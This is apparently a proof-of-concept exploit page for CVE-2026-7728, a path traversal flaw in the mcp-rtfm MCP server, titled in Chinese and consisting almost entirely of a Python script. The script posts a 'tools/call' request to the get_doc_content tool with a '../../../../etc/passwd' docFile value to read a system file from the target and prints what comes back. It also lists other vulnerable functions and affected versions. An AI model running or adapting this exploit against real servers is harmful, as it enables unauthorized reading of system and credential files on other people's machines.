CVE-2026-7728 mcp-rtfm路径遍历漏洞

import requests import json # Exploit for CVE-2026-7728 # Target: ryanjoachim mcp-rtfm <= 0.1.0 # Type: Path Traversal via 'docFile' parameter def exploit(target_url): # Vulnerable endpoint example (adjust based on actual deployment) endpoint = f"{target_url}/mcp/call" # Malicious payload attempting to read /etc/passwd # The vulnerable functions include get_doc_content, read_doc, update_doc payload = { "method": "tools/call", "params": { "name": "get_doc_content", "arguments": { "docFile": "../../../../etc/passwd" } } } headers = {"Content-Type": "application/json"} try: response = requests.post(endpoint, data=json.dumps(payload), headers=headers, timeout=10) if response.status_code == 200: print("[+] Request sent successfully. Check response for file content.") print(response.text) else: print(f"[-] Request failed with status code: {response.status_code}") except Exception as e: print(f"[-] An error occurred: {e}") if __name__ == "__main__": # Replace with actual target target = "http://127.0.0.1:8000" exploit(target)